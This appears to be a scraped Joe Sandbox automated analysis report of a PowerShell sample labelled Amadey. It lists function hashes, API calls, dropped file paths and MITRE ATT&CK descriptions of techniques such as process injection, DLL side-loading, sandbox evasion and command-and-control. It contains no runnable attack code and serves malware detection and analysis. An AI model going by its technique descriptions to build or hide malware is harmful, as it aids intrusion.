Opcode Fuzzy Hash: b1826f75059ada2c8c0a135fc30b5ab815db4b115b2b9b45164e8216526a7a3c
Instruction Fuzzy Hash: 8BF0BBF2E0072456D730EAB1F805B4BB7EC5B00705F84443FEA4182541E77DE608C3AA

Function 004025C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 0042B056: RaiseException.KERNEL32(E06D7363,00000001,00000003,004025DC,00420D37,8B18EC83,?,004025DC,?,004644CC), ref: 0042B0B6

___std_exception_copy.LIBVCRUNTIME ref: 004025FE

Strings

$@, xrefs: 00402606
$@, xrefs: 004025ED

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: $@$$@
API String ID: 3109751735-431066289
Opcode ID: f88b156b942917d3ce25798537e797de301e54249081754898d855d002c7be0a
Instruction ID: 61d3cdbf6d4730c8e627fa0a969e9d6bbbbb54965134e8bc2004e3e42c3cedd2
Opcode Fuzzy Hash: f88b156b942917d3ce25798537e797de301e54249081754898d855d002c7be0a
Instruction Fuzzy Hash: 55F0ECB5D0030C67C714EBE5EC01A89B79CDE11304B50892BFA14E7541F7B4B55483DD

Function 004026B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004026E2

Strings

$@, xrefs: 004026ED
$@, xrefs: 004026D7

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: $@$$@
API String ID: 2659868963-431066289
Opcode ID: 01df657bc17a4116ab54f9f0a212d0b7fd6ce72e084689ce09f326f0dc6d807e
Instruction ID: 03f67b89f10f46ec2cab451192a6b38b299b70da7d71eea2ce7e9eeb56e0b585
Opcode Fuzzy Hash: 01df657bc17a4116ab54f9f0a212d0b7fd6ce72e084689ce09f326f0dc6d807e
Instruction Fuzzy Hash: EBF0AE71D1020C9BC714DF68D8415CEBBF49F59304F50826FE84067301E7755A59C7D9

Function 00402C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00402C53

Strings

$@, xrefs: 00402C5E
$@, xrefs: 00402C48

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: $@$$@
API String ID: 2659868963-431066289
Opcode ID: bbcdd68c156500cf397594005f789bc5fdfed43ea02ee5aebd829b5492ac51fc
Instruction ID: 14bf801db9e66a6fa7a5a7dffa4060d5612c59f4d2a87668b77bcd9987b5cdfb
Opcode Fuzzy Hash: bbcdd68c156500cf397594005f789bc5fdfed43ea02ee5aebd829b5492ac51fc
Instruction Fuzzy Hash: 5BF0A770D1021C9BC710DF69DC415DDFBF8DF16304F5082AFE84067201EBB52A588799

Function 00438A59 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,00437172,-00000020,00000FA0,00000000,00409EB3,?,0045DBDC,?,00000000), ref: 00438A99

Strings

p"B, xrefs: 00438A89
InitializeCriticalSectionEx, xrefs: 00438A69

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$p"B
API String ID: 2593887523-3075974992
Opcode ID: 91ae5c5d5ab5af27d2f9273bbf7bbb59263ea83e116ccc93701688d6d6eba450
Instruction ID: b7078d2f7e2a9a7d2de4669eed30b3bf19e1d4d73391d84db72991b482420f90
Opcode Fuzzy Hash: 91ae5c5d5ab5af27d2f9273bbf7bbb59263ea83e116ccc93701688d6d6eba450
Instruction Fuzzy Hash: 43E09236140318B7CF113F91EC05E9EBF15EB447A1F244037FE0855172CBB98920EA99

Function 00402AB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00402ACF

Strings

$@, xrefs: 00402AC1
0*@, xrefs: 00402AD7

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: 0*@$$@
API String ID: 2659868963-3718208268
Opcode ID: 9a97c8f9693888ff83184929766bd60e103b75a108f24e01955cb10f2eac2536
Instruction ID: 614b477de6e8c5640de8a14e537504f1e93c82954ae98314b452ef9e8d600ffb
Opcode Fuzzy Hash: 9a97c8f9693888ff83184929766bd60e103b75a108f24e01955cb10f2eac2536
Instruction Fuzzy Hash: 1EE030B6A00705AB8710DF59D400886F7ECFF56210345C62BE92997A00F770B4548BA4

Function 004388DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00438913

Strings

p"B, xrefs: 00438909
FlsAlloc, xrefs: 004388EF

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$p"B
API String ID: 2773662609-2188504205
Opcode ID: d844177cb85dd7a1f5b78dcc67520d4300d96cbb445d87c328af39da2b901086
Instruction ID: 47d15ae2ff42363451f86f23319a157d959ba9f865dfa935990e61760123bfa9
Opcode Fuzzy Hash: d844177cb85dd7a1f5b78dcc67520d4300d96cbb445d87c328af39da2b901086
Instruction Fuzzy Hash: 52E0C231684324A392112661AC16BAEFD488F88B63F240027FD05622A2CEAC5A0181DE

Function 00402620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0040263E

Strings

$@, xrefs: 0040262D
$@, xrefs: 00402646

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: $@$$@
API String ID: 2659868963-431066289
Opcode ID: 558635a7ccc61f0bc60122d1a6a0c6f937efa3fd6e90750662620f57d6577cfe
Instruction ID: b106fe9b25e79094de696bd926096e0897a4f20f916706a9be74182633915edf
Opcode Fuzzy Hash: 558635a7ccc61f0bc60122d1a6a0c6f937efa3fd6e90750662620f57d6577cfe
Instruction Fuzzy Hash: E7D0C2B291031457C7109F98D800982B7DC9E25215304C52BF944E7201F3B0A89483A8

Function 00402710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0040272E

Strings

$@, xrefs: 00402736
$@, xrefs: 0040271D

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: $@$$@
API String ID: 2659868963-431066289
Opcode ID: e6b195883526a2a53baa90a252a76944d6baf243e6444e63a7fcc9898a2285c7
Instruction ID: 61be3894f216fc8428f1d06fdec4aa948bede4ca63dadf206ebbafe92ce5d5c3
Opcode Fuzzy Hash: e6b195883526a2a53baa90a252a76944d6baf243e6444e63a7fcc9898a2285c7
Instruction Fuzzy Hash: 74D0C2B292021457C7109F98D800982B7DC9E15255344C12BF944E7201F370A89483E8

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nYT1CaXH9N.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_cff3fccfaef89fe97e70f334411924bd667e9abb_00000000_15fea88f-d6f7-40fb-bddb-be4befca8ab2\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DB1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DE1.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpqwugii.j20.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olyabqw3.khj.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3H4WTEDDODRRWA7R5I0H.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
nYT1CaXH9N.ps1

Function 0040E8D0 Relevance: 25.3, APIs: 7, Strings: 7, Instructions: 764
comCOMMON

Function 004105B0 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 312
networkfilesleepCOMMON

Function 004093D0 Relevance: 18.0, APIs: 6, Strings: 4, Instructions: 473
libraryloaderCOMMON

Function 0043E98E Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 330
timeCOMMON

Function 004091B0 Relevance: 6.3, APIs: 4, Instructions: 324
libraryloaderCOMMON

Function 0043EC2F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 167
timeCOMMON

Function 0043080C Relevance: 7.6, APIs: 5, Instructions: 141
pipeCOMMON

Function 0040C6D0 Relevance: 6.0, APIs: 4, Instructions: 36
sleepsynchronizationCOMMON

Function 0043ED89 Relevance: 4.6, APIs: 3, Instructions: 83
COMMON

Function 004306A4 Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Function 0043097C Relevance: 3.1, APIs: 2, Instructions: 54
timeCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre